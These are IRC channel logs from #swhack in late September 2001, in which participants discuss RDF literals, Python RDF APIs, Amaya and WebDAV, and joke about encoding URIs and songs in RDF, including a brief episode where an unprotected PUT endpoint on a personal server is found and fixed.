<AaronSw> Google makes the most interesting connections... Who'da thought that "danny ralph w3c" would lead to a Ralph Nater "get out the vote" letter. 18:17:09 <AaronSw> -- 18:17:15 <AaronSw> Ann Apps is a geography pedant to boot! 18:17:28 <AaronSw> """Kinderscout is the 'peak' of the UK Derbyshire Peak District 18:17:28 <AaronSw> (though rather a misnomer because it's a flat-topped hill covered in 18:17:28 <AaronSw> a peat bog), 2008 feet at its highest point, and just up the road 18:17:28 <AaronSw> from where I live.""" 18:19:54 <AaronSw> -- 18:20:08 <AaronSw> Peter Patel-Schneider: "I'm not happy at all with the fact that RDF has a 51 paragraph document just to define what a literal is." 18:20:13 <AaronSw> I don't think many other people are either. 18:20:14 <AaronSw> -- 18:20:20 <AaronSw> Hmm, if this was a weblog it'd be really long... 18:22:06 <AaronSw> -- 18:22:07 <AaronSw> Dave Winer on Adobe's adoption of RDF: "Adobe is doing something new with XML, but it's hard to figure out what it is from the press release." 18:24:12 <AaronSw> Press release talk strikes again. 18:28:11 <AaronSw> -- 18:28:21 <AaronSw> Philip Greenspun checks in: http://philip.greenspun.com/bboard/q-and-a-fetch-msg?msg_id=000tZf&topic_id=Ask%20Philip&topic= 18:28:37 <AaronSw> "Janine and Mike Sisk at furfly.net just launched the New York Review of Books site. You can read Susan Sontag, powered by OpenACS. What better proof that ACS has entered the intellectual mainstream?" :-) 18:32:42 <AaronSw> -- 18:33:59 <AaronSw> Wow, Google hired Peter Norvig: http://www.norvig.com/ 18:34:24 <AaronSw> He's apparently teaching their servers to search: "Director of Machine Learning" 18:36:01 <AaronSw> via that PhilipG page, via David Cohen 19:22:32 <sbp> sbp has joined #swhack 19:22:56 <AaronSw> Hi there. 19:23:03 <sbp> Hi Aaron 19:23:05 <AaronSw> I've had quite a day. 19:23:13 <sbp> Yes! I got your email 19:23:25 <AaronSw> Ahh, yes. 19:23:47 <AaronSw> I forgot to go to sleep last night. 19:23:55 <sbp> Wow! 19:23:55 <AaronSw> DId you see that benny_g hung out on #rdfig for a bit? 19:24:10 <sbp> nope... I'm just about to review the logs 19:24:18 <AaronSw> sleep: Yeah, it's the first time that's happened to me. 19:24:34 <AaronSw> But I slept thru math class, so it was OK. 19:24:36 <sbp> How on Earth could you "forget"? 19:24:40 <sbp> Math: heh 19:24:55 <AaronSw> got in engaging discussions with sandro, danbri, etc. 19:25:09 <AaronSw> Next thing I knew I had to wake up in an hour. 19:25:30 <sbp> He he he 19:25:57 <sbp> Ah... 19:25:57 <sbp> 05:22:16 <sbp> sbp has quit 19:25:57 <sbp> 05:45:41 <benny_g> benny_g has joined #RDFIG 19:26:02 <sbp> Um... 19:26:03 <sbp> [[[ 19:26:04 <sbp> 05:22:16 <sbp> sbp has quit 19:26:04 <sbp> 05:45:41 <benny_g> benny_g has joined #RDFIG 19:26:04 <sbp> ]]] 19:26:15 <AaronSw> Heh. 19:26:20 <sbp> lol! 19:26:21 <sbp> [[[ 19:26:21 <sbp> 06:20:08 <AaronSw> Yes, Sean (sbp) has pointed me to some of your work. 19:26:22 <sbp> 06:20:30 <benny_g> Sean knows everything 19:26:23 <sbp> ]]] 19:26:29 <AaronSw> :-) 19:26:35 <AaronSw> The beginning of the sbp fan club. 19:26:41 <sbp> I think he meant that I know all of his work... 19:26:57 <AaronSw> Hmm, perhaps the fan club started long ago. 19:28:25 <AaronSw> Heh: 19:28:27 <AaronSw> 16:28:12 <DanC> aha! got rdfx.rng to parse using yapp-generated parser. 19:28:27 <AaronSw> 16:29:11 <DanC> hmm... not sure what the point of that excercise was, not that I've done it. Maybe I learned something about RELAX NG 19:30:52 <sbp> :-) 19:31:10 <AaronSw> Apparently the mind bomb hit em and company the same time it hit me. How cool! 19:31:34 <sbp> the what? 19:32:09 <AaronSw> The mind bomb... the thing I sent to www-archive. 19:32:18 <sbp> 06:24:10 <AaronSw> I'm working on the ideal Python RDF API. Thoughts? (Especially from sbp...) 19:32:23 <sbp> yeah, use SWIPT :-) 19:32:26 <AaronSw> See the logs for more about mind bombs. 19:32:30 <sbp> Oh, that deeley 19:32:35 <AaronSw> SWIPT, pfft. It is nowhere near perfection. 19:32:50 <sbp> true 19:33:21 <AaronSw> Although, I'm worried mine is a bit too abstract. 19:33:24 <AaronSw> It's very cool though. 19:33:37 <AaronSw> I just have Nodes, and they have properties, like log:uri (if they're not anonymous);. 19:33:49 <AaronSw> Triples are just special types of nodes with an rdf:subject, etc. properties attached 19:34:11 <sbp> Rebuilding the Internet on triples stores. I'm going to have to play the skeptic, having come up with a similar idea for servers a while ago 19:34:35 <AaronSw> So? What's the problem. 19:34:44 <sbp> it drove me nuts trying to implement it! 19:34:47 <AaronSw> * AaronSw is determined not to let past failures of this idea deter his enthusiasm. 19:34:53 <AaronSw> implement: well, that's your fault! 19:35:15 <sbp> I thought it was a good idea, but it's really hard to store everything as URIs/remain location independent etc. 19:35:41 <sbp> and I only thought of it for a server... the Internet is quite a few stages on from that! 19:35:50 <AaronSw> How is it hard? 19:36:05 <sbp> * sbp tries to find the notes through FTP 19:36:14 <AaronSw> Sure, it's a fun project -- as is the Semanic Web -- but I'm not sure I'd call it "hard". 19:36:45 <sbp> rewiring the Internet? I'd call that hard 19:36:52 <sbp> Not technically hard, politically 19:37:29 <sbp> Oh man, my server is a right mess. Actually, that's why I came up with the idea, to manage my information for me 19:37:46 <AaronSw> Yes, I meant technically hard. 19:37:51 <sbp> Aha, I called it XHS 19:37:59 <sbp> grmgprgmgrph http://infomesh.net/xhs/ 19:38:01 <AaronSw> The politics can sort themselves out for many things. 19:38:20 <AaronSw> Whoo! Date-free strikes again ;) 19:38:24 <AaronSw> Hmm, nice 404. 19:38:33 <AaronSw> Oh, it's not a 404. 19:38:41 <sbp> Nope... 19:38:54 <sbp> date-free: because I thought it was sooooo important 19:39:01 <AaronSw> :) 19:39:27 <AaronSw> I was thinking that once we finish rewiring the Internet, we can rebuild operating systems around a mesh principle. 19:39:38 <sbp> Oh actually, I may have written it up on QuickWeb. Aha! Only, QuickWeb is currently broken... 19:39:45 <AaronSw> The mesh makes it very easy to do CVS-like stuff, since every version is around unless deleted. 19:40:08 <sbp> interesting: http://infomesh.net/xhs/meta/_2001_ 19:40:42 <AaronSw> Interesting. 19:41:03 <AaronSw> Oh, I remember this -- you wanted to rebuild your server around an RDF database. 19:41:31 <sbp> yeah. Can you remember where I pointed you to? 19:41:31 <AaronSw> I guess I misunderstood what you meant when you said your idea was "just for servers". 19:41:41 <sbp> yeah, me too :-) 19:42:15 <AaronSw> Pointed me to: As I recall, it was never that finished. I poked you to use AOLserver instead and you got distracted. 19:44:25 <sbp> Ah, I think I've got it 19:44:50 <sbp> http://infomesh.net/quickweb/qwml/ObjectWeb.xml 19:44:57 <sbp> [[[ 19:44:58 <sbp> After looking through all of the SWAG/W3C/PURL persistence stuff, and thinking about URIs, and collaborative HyperSpace tools, such as QuickWeb, Blogspace, Amaya and so on... I formed a very vague and tenuous idea for "ObjectWeb". 19:44:59 <sbp> ]]] 19:45:03 <AaronSw> Interesting: http://www.ptb.be/international/WTC/Dijvu.htm 19:45:12 <sbp> [[[ 19:45:13 <sbp> Why can't servers store all of the mappings in RDF and then send you resources you want based on that, rathar than some stupid file system? 19:45:14 <sbp> ]]] 19:45:54 <AaronSw> If I can say so, that was one of your wackier ideas. 19:45:54 <sbp> wow, that is interesting 19:46:43 <AaronSw> isn't it? 19:47:00 <sbp> yeah; it was a late night series of rants. I only worked on it when I was really tired 19:47:08 <AaronSw> Heh. 19:47:22 <AaronSw> That probably means there's the gem of something useful in there. 19:47:47 <sbp> Yes :-) Well, it relates quite well to your latest idea, don't you think? 19:48:22 <AaronSw> Only in a vague, sort of theoretical sense, I guess. 19:48:45 <AaronSw> Of course, I'm not sure I would know, not being sure I understood the original idea in the first place! 19:49:19 <sbp> :-) 19:49:34 <sbp> Well, your rant today reminded me of that 19:49:51 <AaronSw> Yes, I definitely see the connection. 19:58:31 <sbp> sbp has quit 20:55:11 <sbp> sbp has joined #swhack 20:55:19 <AaronSw> wb 20:55:35 <sbp> ty 20:57:01 <sbp> Heh: 20:57:01 <sbp> [[ 20:57:06 <sbp> s/[[/[[[ 20:57:06 <sbp> I do not generally purchase Microsoft products, so I'm not quite 20:57:06 <sbp> sure what you are referring to. 20:57:08 <sbp> ]]] 20:57:30 <AaronSw> Notice the careful wording in that sentence! 20:57:38 <sbp> Yes... 20:57:46 <AaronSw> [[[ 20:57:48 <AaronSw> If you bought $1,000 worth of Nortel stock one year ago, it would now be worth $49. If you bought $1,000 worth of Budweiser (the beer, not the stock) one year ago, drank all the beer and traded in the cans for the nickel deposit, you would have $79. 20:57:48 <AaronSw> ]]] 20:57:56 <AaronSw> - http://wmf.editthispage.com/discuss/msgReader$5817 20:59:23 <AaronSw> Pat Hayes: "Though GIGO sounds quite different when one is on the inside, right?" 20:59:30 <AaronSw> Frank Manola: "You mean, inside watching the G flow by?" 20:59:59 <sbp> lol @ Budweiser 21:00:23 <sbp> Frank Manola is pretty cool 21:00:51 <AaronSw> "Sitting on the doc of the bridge, watching the G, flow away..." 21:01:04 <sbp> :-) 21:06:11 <sbp> [[[ 21:06:13 <sbp> Oh? I don't agree with that. We can say that literals are 21:06:13 <sbp> resources (indeed, I think it's pretty clear we have to) but we 21:06:13 <sbp> don't have to give them URIs, or a place in the RDF abstract 21:06:13 <sbp> syntax. 21:06:13 <sbp> ]]] 21:06:15 <sbp> Woo! 21:07:44 <AaronSw> So do you think we should give them URIs? 21:09:42 <sbp> we don't have to give them URIs 21:09:54 <sbp> I agree with what you've written 21:10:10 <AaronSw> I know we don't have to, but do you think we should? 21:10:56 <sbp> I have no objections to the "dt:" URI scheme 21:11:43 <sbp> But that doesn't mean that we should... 21:11:59 <sbp> I guess you've seen Jan Grant's rantings about literals, and Bijan's conversations on #rdfig 21:12:16 <AaronSw> And Sandro's too 21:12:39 <AaronSw> Maybe the best idea is to give every character a URI and log:concat them? 21:12:46 <AaronSw> ;) 21:14:19 <sbp> that's a very good idea 21:14:32 <sbp> people will love doing that... they could make a game out of it 21:14:50 <AaronSw> Just imagine how clean it would look in RDF/XML! 21:15:13 <sbp> [ log:uri [ log:concat ("h" "t" "t" "p" ":" "/" "/" "w" "w" "w" "." "w" "3" "." "o" "r" "g" "/") ] . 21:16:18 <AaronSw> Oh, no... you can't have literals like that. 21:16:27 <AaronSw> s/"h"/l:h/ 21:16:45 <sbp> s/./] . 21:16:52 <sbp> well, regardless 21:16:54 <sbp> <rdf:RDF xmlns="http://www.w3.org/2000/10/swap/log#" 21:16:54 <sbp> xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> 21:16:54 <sbp> <rdf:Description> 21:16:54 <sbp> <uri rdf:parseType="Resource"> 21:16:54 <sbp> <concat rdf:parseType="Resource"> 21:16:54 <sbp> sbp has quit 21:17:06 <sbp> sbp has joined #swhack 21:17:24 <sbp> Too much too fast, perhaps? 21:17:28 <sbp> you get the gist... 21:17:48 <AaronSw> Heh... just got to the concat 21:18:15 <sbp> yeah, just saw the log 21:18:23 <sbp> <rdf:RDF xmlns="http://www.w3.org/2000/10/swap/log#" 21:18:23 <sbp> xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> 21:18:23 <sbp> <rdf:Description> 21:18:23 <sbp> <uri rdf:parseType="Resource"> 21:18:23 <sbp> <concat rdf:parseType="Resource"> 21:18:28 <sbp> <first xmlns="http://www.daml.org/2001/03/daml+oil#">h</first> 21:18:28 <sbp> <rest xmlns="http://www.daml.org/2001/03/daml+oil#" 21:18:28 <sbp> rdf:parseType="Resource"> 21:18:29 <sbp> <first>t</first> 21:18:31 <sbp> <rest rdf:parseType="Resource"> 21:18:33 <sbp> <first>t</first> 21:18:35 <sbp> <rest rdf:parseType="Resource"> 21:18:37 <sbp> <first>p</first> 21:18:39 <sbp> <rest rdf:parseType="Resource"> 21:18:41 <sbp> <first>:</first> 21:18:44 <sbp> <rest rdf:parseType="Resource"> 21:18:45 <sbp> <first>/</first> 21:18:47 <sbp> <rest rdf:parseType="Resource"> 21:18:49 <sbp> <first>/</first> 21:18:51 <sbp> <rest rdf:parseType="Resource"> 21:18:54 <sbp> <first>w</first> 21:18:55 <sbp> <rest rdf:parseType="Resource"> 21:18:57 <sbp> <first>w</first> 21:19:01 <sbp> <rest rdf:parseType="Resource"> 21:19:03 <sbp> <first>w</first> 21:19:06 <sbp> <rest rdf:parseType="Resource"> 21:19:06 <AaronSw> Enough! 21:19:07 <AaronSw> Enough! 21:19:07 <sbp> <first>.</first> 21:19:09 <sbp> <rest rdf:parseType="Resource"> 21:19:12 <sbp> <first>w</first> 21:19:13 <sbp> <rest rdf:parseType="Resource"> 21:19:15 <sbp> <first>3</first> 21:19:17 <sbp> <rest rdf:parseType="Resource"> 21:19:19 <sbp> <first>.</first> 21:19:21 <sbp> <rest rdf:parseType="Resource"> 21:19:23 <sbp> <first>o</first> 21:19:26 <sbp> <rest rdf:parseType="Resource"> 21:19:27 <sbp> <first>r</first> 21:19:29 <sbp> <rest rdf:parseType="Resource"> 21:19:31 <sbp> <first>g</first> 21:19:34 <sbp> <rest rdf:parseType="Resource"> 21:19:36 <sbp> <first>/</first> 21:19:38 <sbp> :-) 21:19:40 <sbp> i.e., I don't think it's viable 21:20:21 <AaronSw> Looks great to me! 21:33:50 <logster> logster has joined #swhack 21:33:50 <sagan.openprojects.net> Users on #swhack: logster @sbp tav tav` @AaronSw 21:34:24 <AaronSw> Sheesh, how stupid can colleges get: http://dailynews.yahoo.com/h/ap/20010925/tc/wired_classrooms_1.html 21:34:31 <sbp> Hi logster! How are you today? 21:34:55 <sbp> Collages with paper tissue are always pretty stupid 21:35:09 <sbp> Oh, sorry... colleges... 21:36:11 <AaronSw> Use PGP people: "As another deterrent, some classrooms at Bentley have technology that allows teachers to capture a student's e-mails or instant messages and display them on a large screen for the whole class to see." 21:36:30 <sbp> Eek 21:37:08 <AaronSw> Win for REST. Apple found that WebDAV beat the pants of its proprietary file-sharing protocol: http://itools.mac.com/1/idisknewfeatures.html 21:37:21 <AaronSw> Now if only theyd fix those stupid gifs... 21:42:12 <AaronSw> Rushkoff: "But this portrayal of Americans as uncaring, trivia-obsessed idiots who have 21:42:13 <AaronSw> suddenly woken up, and are now stupid, jingoistic warmongers, is inaccurate." 21:47:32 <AaronSw> Heh, I love it when Web specs now redirect to porno sites. 21:47:51 <AaronSw> Especially if they're namespaces too. 21:47:58 <sbp> Share! 21:48:14 <AaronSw> The OCS RDF vocabulary was at http://alchemy.openjava.org/ 21:49:00 <sbp> Heh, neat 21:49:47 <AaronSw> Woe, chas sent me a big long patch to my "Semantic Web in Breadth" 21:49:53 <sbp> Heh: ``Faculty members were finding students surfing the Net, sending instant messages, even looking at porn in some of the freshman intro classes,'' said Phillip Knutel, Bentley's director of academic technology. 21:50:01 <sbp> Chas. F Munat? 21:50:08 <AaronSw> Yeah. 21:50:18 <AaronSw> "I did not use PUT to update the page directly because I thought you'd better check this for accuracy first. I am a good writer, but my knowledge of the SW is spotty. Make sure I didn't screw anything up before you use this." 21:51:12 <sbp> Have you incd. the changes? 21:51:28 <AaronSw> Not yet. 21:51:42 <AaronSw> So does JosD work in Belguim? 21:51:53 <sbp> Dunno; I guess so 21:52:09 <sbp> Well, he probably works in Belgium rather than Belguim 21:52:23 <AaronSw> Right. 21:52:32 <sbp> less far to commute 21:52:36 <AaronSw> And Scott sent in four Peerkat patches -- this is my lucky day, eh? 21:52:50 <AaronSw> No way I'll be able to commit all this stuff before Shabbat starts. 21:52:54 <sbp> AaronSw, you've just won $1,000,000! 21:53:11 <AaronSw> Sorry, no can do, sbp -- I've got to commit these patches first. 21:53:14 <sbp> this is what I'd be saying to you if you filled in your sweepstakes form correctly... 21:53:39 <AaronSw> LOL! 21:54:01 <sbp> the full stop after your name want outside the box. Sorry, but rules are rules 21:54:13 <AaronSw> Oh dear. 21:54:21 <AaronSw> A joke to cheer me up: 21:54:21 <AaronSw> From the MacIE list: "'eventually' = after the Web and Win teams are done playing foosball with 21:54:21 <AaronSw> the bug reports, they will eventually make it to the Mac team in a badly crumpled form." 21:54:26 <sbp> Can I really PUT to logicerror.com or wherever? 21:54:36 <AaronSw> No. At least I don't think so. 21:54:43 <sbp> good 21:54:46 <AaronSw> Want to try it on /test 21:54:47 <AaronSw> ? 21:54:51 <sbp> sure... 21:55:40 <sbp> Ooh! Amaya crashed 21:56:07 <AaronSw> I hate it when I get Bible spam. Wasn't thou shalt not spam one of the commandments? 21:56:16 <sbp> er... 21:56:37 <sbp> ooh, it worked! It must have saved and then crashed 21:56:38 <sbp> http://logicerror.com/test 21:56:44 <sbp> cool, I can wreak havoc now... 21:56:52 <AaronSw> Are you serious? Ugh... 21:57:02 <AaronSw> I wonder who's been busy PUTing random things. 21:57:10 <sbp> :-) 21:57:19 <AaronSw> You? I knew it! 21:58:08 <sbp> Nah, I only just found out that I could do it 21:58:13 <sbp> but now that I have... 21:58:47 <sbp> how much does it fuck the server up to do it? 21:59:06 <AaronSw> Don't you hate it when you leave permissions-checking code commented out? 21:59:06 <sbp> I mean, the relative links don't go, I guess... 21:59:11 <sbp> lol 21:59:22 <AaronSw> What do you mean? To do what? 21:59:50 <sbp> to PUT to the server 22:00:01 <AaronSw> It doesn't mess with the server at all. 22:00:09 <AaronSw> Ok, I think things are fixed now: http://logicerror.com/test 22:00:09 <sbp> ah, that's good 22:00:58 <AaronSw> Will you go for the $10,000,000 prize? 22:01:09 <sbp> * sbp is going for it... 22:01:17 <sbp> ah, crud 22:02:20 <sbp> well, I'm getting a new version of Amaya. This one crashes when you PUT! 22:02:31 <AaronSw> Heh, what's up with that? 22:03:04 <sbp> Well, it's Amaya, isn't it? 22:03:16 <AaronSw> Yeah -- I even filed a bug report on the subject. 22:03:22 <AaronSw> They said my server was screwed up! 22:03:24 <sbp> cool 22:03:24 <AaronSw> What's up with that? 22:03:28 <sbp> Heh, heh, heh 22:03:30 <AaronSw> I'm returning a valid response! 22:03:41 <AaronSw> Nobody said redirects weren't legal responses to a PUT! 22:04:42 <AaronSw> I dunno, maybe somebody did. But if they did, they were wrong! 22:05:14 <sbp> Tut, tut 22:05:23 <sbp> Why can't you just be like everyone else, eh? 22:05:40 <AaronSw> And return a what? No Content. How boring! 22:05:51 <AaronSw> I mean, it sounds like an error: No Content. 22:05:59 <AaronSw> I have content, you blasted buggy browser! 22:06:02 <AaronSw> Hear me roar! 22:08:07 <sbp> lol 22:09:41 <sbp> Aaron, spring into action: Any volunteers to produce 22:09:41 <sbp> a few more? 22:09:44 <sbp> - DanC 22:09:52 <sbp> hang on, let me do that properly... 22:09:52 <AaronSw> context? 22:10:10 <sbp> Aaron, spring into action: "Any volunteers to produce a few more?" - DanC, www-qa/www-validator 22:11:59 <deltab> deltab has joined #swhack 22:12:02 <sbp> I wonder if one can doodle in Amaya... it'd be nice being able to doodle in HyperText 22:12:20 <AaronSw> doodle? 22:13:15 <sbp> yeah, doodle. Scribble 22:13:33 <AaronSw> Like do an SVG drawing? 22:13:57 <sbp> I did, it works, I'm fairly satisfied 22:14:12 <AaronSw> Pah, you? satisfied? 22:14:17 <AaronSw> With Amaya? 22:14:28 <sbp> note: "fairly" 22:14:43 <sbp> actually, the interface is a bit cruddy 22:15:46 <AaronSw> Wouldn't you love to receive this email? 22:15:50 <AaronSw> "your bank has been hacked. information regarding Al Qaeda's and bin Ladens accounts have been captured. all information reached the US authorities. thanks for using products from checkpoint (firewall1). " 22:15:54 <AaronSw> - http://www.antionline.com/showthread.php?threadid=115122 22:16:32 <sbp> * sbp wonders how much time Aaron spends reading the news, and online articles 22:16:48 <AaronSw> Not much, really -- I only read the good ones. 22:17:07 <AaronSw> I don't ever read the news, though. 22:18:35 <sbp> Heh, that article is pretty cool 22:39:34 <deltab> deltab has quit 22:39:36 <deltab> deltab has joined #swhack 22:47:31 <sbp> sbp has quit 22:50:59 <sbp> sbp has joined #swhack 23:30:51 <sbp> sbp has quit ����������������������������������������������������������������2001-09-29.txt��������������������������������������������������������������������������������������0100644�0000143�0001000�00000004105�07355452555�012031� 0����������������������������������������������������������������������������������������������������ustar �nobody��������������������������devel������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������00:25:56 <logster> logster has joined #swhack 00:25:56 <carter.openprojects.net> topic is: "It is a miracle that curiosity survives formal education." -Albert Einstein 00:25:56 <carter.openprojects.net> Users on #swhack: logster Morbus deltab @AaronSw tav` tav 00:33:07 <Morbus> Morbus has quit 00:39:04 <sbp> sbp has joined #swhack 00:42:53 <sbp> * sbp wonders where Aaron is 00:43:06 <sbp> anyway, when you come back, check out: http://infomesh.net/2001/09/swhack/ 00:43:20 <sbp> You probably won't like the color scheme, but I think it's quite natty 00:43:29 <sbp> all the content would be generated from this channel 00:43:38 <sbp> we'd need tags and stuff... 00:43:44 <sbp> Gotta run 00:46:45 <sbp> sbp has quit 01:25:40 <sbp> sbp has joined #swhack 01:27:41 <sbp> sbp has changed the topic to: Almost everything has a rational explanation... except for spandex 01:36:13 <sbp> * sbp guesses that they 01:36:24 <sbp> s/they/there's no one around 01:36:38 <sbp> * sbp considers getting his old keyboard back... 01:42:25 <tav`> hi 01:42:36 <tav`> sorry, my head is just killing me 01:43:34 <sbp> Hi tav(mustachoied) 01:43:56 <sbp> how are you feeling? 01:52:58 <sbp> Gotta run 01:53:47 <tav`> nite 01:54:56 <sbp> sbp has quit 05:38:13 <tav`> tav` has quit 06:56:21 <tav> tav has quit 15:50:36 <Morbus> Morbus has joined #swhack 15:51:08 <Morbus> 10.1 woo! 15:54:48 <Morbus> Morbus has quit 16:22:55 <tav> tav has joined #swhack 16:29:48 <tav> tav has quit 18:03:43 <AaronSw> AaronSw has quit 19:01:39 <Morbus> Morbus has joined #swhack 19:01:42 <Morbus> Morbus has quit 19:15:31 <sbp> sbp has joined #swhack 21:00:08 <Morbus> Morbus has joined #swhack 21:01:03 <Morbus> Morbus has quit 21:17:26 <sbp> Gotta run 21:17:29 <sbp> sbp has quit 22:02:12 <sbp> sbp has joined #swhack 22:18:20 <tav> tav has joined #swhack 22:20:51 <tav`> tav` has joined #swhack 22:23:01 <sbp> Gotta run 22:23:02 <sbp> sbp has quit 22:33:38 <tav`> tav` has quit 22:35:04 <tav`> tav` has joined #swhack 22:51:42 <tav> tav has quit 22:54:51 <tav`> tav` has quit 23:00:12 <tav> tav has joined #swhack 23:12:45 <tav`> tav` has joined #swhack �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������2001-09-30.txt��������������������������������������������������������������������������������������0100644�0000143�0001000�00000064445�07355721300�012021� 0����������������������������������������������������������������������������������������������������ustar �nobody��������������������������devel������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������00:06:35 <logster> logster has joined #swhack 00:06:35 <sagan.openprojects.net> topic is: Almost everything has a rational explanation... except for spandex 00:06:35 <sagan.openprojects.net> Users on #swhack: logster @sbp tav` tav deltab 00:11:16 <sbp> * sbp is sorta tryin'ta write a song 00:11:56 <sbp> Hey, I could use IRC to transcribe what I write. Cool idea 00:16:25 <sbp> Hmm... 00:17:38 <sbp> XX7909 00:17:45 <sbp> A something or other 00:18:13 <sbp> er... Major :-) 00:18:50 <sbp> no 6th? that'd be 7th on the 5th 00:20:41 <sbp> FMaj9/C... CMaj7 G BbMaj7 F 00:21:31 <AaronSw> AaronSw has joined #swhack 00:22:12 <sbp> Hmm... C(I) to CMaj7(III) is quite cool. What was the prograssion I had after that? 00:22:17 <sbp> Hi Aaron 00:22:35 <AaronSw> hi 00:22:50 <AaronSw> How's it going? 00:23:02 <AaronSw> Sorry for dropping out on you last night... I fell asleep and then Shabbat started. 00:24:08 <AaronSw> Cool, I like that #swhack weblog 00:24:10 <sbp> Ggrgmrgrp, I thought that chord didn't sound like AMaj: it's AMaj,9 00:24:14 <AaronSw> sbp? 00:24:25 <sbp> Dropping out, that's fine 00:24:26 <sbp> yes? 00:24:58 <AaronSw> Did you generate #swhack automatically? 00:25:02 <AaronSw> Hmm, doesn't look like it. 00:25:10 <AaronSw> Heh: Bringing you reams of news, fresh from the Bayou for $99.99! 00:25:21 <sbp> oh, the Weblog! Sorry, I wondered what you were talking about for a seond there... 00:25:37 <AaronSw> What's with that logo? 00:25:40 <sbp> No, I didn't generate it automatically, my server can't do those sort of things... :-) 00:25:45 <sbp> the logo: just a placeholder 00:25:55 <sbp> I'll put in a cooler one if/when you set it up 00:25:57 <sbp> it 00:26:02 <sbp> it's not too colorful, no? 00:26:14 <AaronSw> Well, I'm not too fond of the color scheme... 00:26:23 <AaronSw> Perhaps look up a good color scheme page? 00:26:37 <AaronSw> Maybe we should just get the chump, looking at that? 00:26:47 <sbp> Yeah, it works alright 00:28:07 <sbp> * sbp backs up his 8 minute "Heroes And Villains" track 00:28:20 <AaronSw> Hmm, but it'd be better if it was fractal, like DanC was saying. 00:28:37 <tav`> hmz 00:28:50 <AaronSw> Hey tav, feeling better? 00:29:05 <tav`> hi 00:29:09 <tav`> much better thanks 00:29:15 <AaronSw> that's good. 00:29:20 <tav`> feeling real shitty for having wasted two days though 00:29:33 <AaronSw> Hmm. 00:29:35 <AaronSw> Have you read "Mirror Worlds"? 00:30:31 <sbp> Ooh, AMaj,9 Em7 GMaj7 AMaj 00:30:37 <tav`> hmz, nope 00:31:09 <AaronSw> You really should -- I was re-reading parts of it today and it fits well into your vision. 00:31:17 <AaronSw> TODO: Search for Internet-scale Linda systems 00:31:28 <sbp> * sbp has to try this on Fender/Marshall... 00:31:54 <tav`> a short summary? 00:32:06 <tav`> hmz, can we talk in #esp? 00:32:15 <tav`> sbp: you can join us there 00:32:34 <tav`> irc.espnow.com 00:32:56 <AaronSw> (is the server) 00:34:29 <sbp> Hmm... I quite like this, but it needs 2/3 guitars 00:34:38 <AaronSw> 2/3s of a guitar? 00:34:44 <AaronSw> ;) 00:34:44 <sbp> 2 or 3 00:35:17 <sbp> your joke wasn't actually as jokey as it could have been, since there are plenty of 2/3 size guitars about 00:36:35 <sbp> Hmm... I'm not sure what octave to put this in 00:37:51 <sbp> s/AMaj9/A6 00:37:54 <sbp> sounds good too 00:38:54 <sbp> AMaj DMaj7 CMaj7 G makes a good variation 00:40:19 <sbp> Hmm... this is one to mull on 00:40:24 <AaronSw> ugh, so much stuff to do tonight 00:40:35 <sbp> Usually my songwriting consists of two types: fragments, and sequencing 00:40:56 <sbp> tonight seems to be a fragment night, coming up with bits of songs. Dunno how they'll fit together yet 00:41:09 <sbp> sort of like your triples for the Internet vision, eh Aaron? 00:41:27 <AaronSw> Heh. 00:43:09 <sbp> Ah, I remember that sequence now 00:43:24 <sbp> It's C CMaj7 FMaj D7 FMaj D9 GMaj 00:45:52 <sbp> Cookoos In May 00:46:22 <sbp> er... that'd be Cuckoo 00:46:47 <sbp> stupid onomatopoeic spelling forms 00:49:15 <sbp> * sbp wonders why he can't even touch the quality of his songs a year and a half or so ago 00:50:53 <sbp> I guess I don't write as often as I used to 00:53:35 <sbp> This is quite neat: Bm7/ESus11 Db5,6 GMaj ASus7 00:54:03 <AaronSw> Hmm, maybe you should write an RDF Schema for this stuff. 00:54:13 <sbp> s/ASus7/Em 00:54:17 <sbp> RDF Schema, lol! 00:54:33 <AaronSw> Then you can create a Web service so I can listen to them ;) 00:55:33 <sbp> Just use my musical note URN thing 00:55:55 <AaronSw> Yeah, I know but beyond that... 00:56:01 <AaronSw> you need timing, association with text 00:56:06 <sbp> I reckon a simplified Western-scale version of that might be cool 00:56:22 <sbp> timing: yeah, but an RDF Schema can handle that :-) 00:57:08 <sbp> E F Fs G Ab A Bb B C Db D Eb 00:57:21 <sbp> Shame it can't use "#" 00:57:58 <AaronSw> Why not? 00:58:19 <sbp> well, if it did, it would have to be URI encoded 00:58:38 <AaronSw> Oh, true. 01:01:04 <sbp> :Chord rdfs:subClassOf rdf:Bag . 01:02:17 <sbp> :AMaj7 a :Chord; rdf:_1 <urn:urn-x:E>; rdf:_2 <urn:urn-x:A>; rdf:_3 <urn:urn-x:Ab>; ; rdf:_4 <urn:urn-x:Db> . 01:02:37 <sbp> s/ ;/ 01:02:56 <AaronSw> Heh! And the timing? 01:03:17 <sbp> [ :chord :AMaj; :duration :1Bar ] . 01:03:28 <sbp> s/AMaj/AMaj7 01:04:48 <sbp> You could make a set of the above, like :AMaj7_4beats :EMaj_2beats 01:04:53 <sbp> and come up with a song 01:05:27 <sbp> :Song rdfs:subClassOf rdf:Seq . 01:09:39 <sbp> [ a :Song; rdf:_1 :FMaj_4beats; rdf:_2 :Em7_2beats; rdf:_3 :A7_2beats; rdf:_4 :Dm_3beats; rdf:_5 :Dm7_1beat; rdf:_6 :Bb_2beats; rdf:_7 :C7_2beats; rdf:_8 :FMaj_3beats; rdf:_9 :Dm_2beats; rdf:_10 :G7_2beats; rdf:_11 :Bb_1beat; rdf:_12 :FMaj_3beats ] . 01:10:06 <sbp> [ a :SongIntro; rdf:_1 :FMaj_8beats ] . 01:11:41 <AaronSw> Heh 01:11:53 <sbp> Guess the song (or play it) 01:12:28 <AaronSw> I'm no good at guitar notation. 01:12:44 <sbp> It's the intro and first verse to "Yesterday" 01:13:12 <sbp> I should have dc:title'd it really :-) 01:13:20 <AaronSw> Heh. 01:13:46 <sbp> It'd be good if there were a superset of NTriples with prefixes 01:14:44 <AaronSw> Yeah, I want to use that in the primer. 01:14:54 <AaronSw> Perhaps a little more.. 01:15:05 <sbp> URIs are just too long to use in NTriples 01:15:17 <sbp> prefixes would make NTriples usable, IMO 01:15:55 <sbp> of course, all we have to do is write in Notation3 and then convert to NTriples, but still... 01:17:36 <AaronSw> Why would you want to use it though? 01:17:38 